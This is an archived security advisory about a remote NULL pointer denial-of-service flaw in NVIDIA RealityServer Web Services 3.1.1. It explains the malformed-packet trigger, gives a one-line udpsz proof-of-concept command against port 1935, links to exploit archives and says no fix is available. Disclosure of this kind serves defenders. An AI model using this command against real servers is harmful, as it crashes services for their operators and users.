  source: https://www.securityfocus.com/bid/48476/info   RealityServer Web Services is prone to a remote denial-of-service vulnerability caused by a NULL pointer dereference.   Attackers can exploit this issue to cause the server to dereference an invalid memory location, resulting in a denial-of-service condition. Due to the nature of this issue arbitrary code-execution maybe possible; however this has not been confirmed.   RealityServer Web Services 3.1.1 build 144525.5057 is vulnerable; other versions may also be affected.   https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip         #######################################################################   Luigi Auriemma   Application:NVIDIA RealityServer http://www.realityserver.com/products/realityserver.html http://www.nvidia.com/object/realityserver.html Versions: <= 3.1.1 build 144525.5057 Platforms:Windows and Linux Bug:NULL pointer Exploitation: remote, versus server Date: 27 Jun 2011 (found and reported on my forum 04 Dec 2010) Author: Luigi Auriemma e-mail: aluigi@autistici.org web:aluigi.org     #######################################################################     1) Introduction 2) Bug 3) The Code 4) Fix     #######################################################################   =============== 1) Introduction ===============     From vendor&apos;s website: "The RealityServer� platform is a powerful combination of NVIDIA� Tesla� GPUs and 3D web services software that delivers interactive, photorealistic applications over the web, enabling product designers, architects and consumers to easily visualize 3D scenes with remarkable realism."     #######################################################################   ====== 2) Bug ======     If the byte at offset 0xc01 of the packet is >= 0x80 there will be a NULL pointer dereference.     #######################################################################   =========== 3) The Code ===========     http://aluigi.org/testz/udpsz.zip   udpsz -C 03 -b 0xff -T SERVER 1935 0xc02     #######################################################################   ====== 4) Fix ======     No fix.     #######################################################################
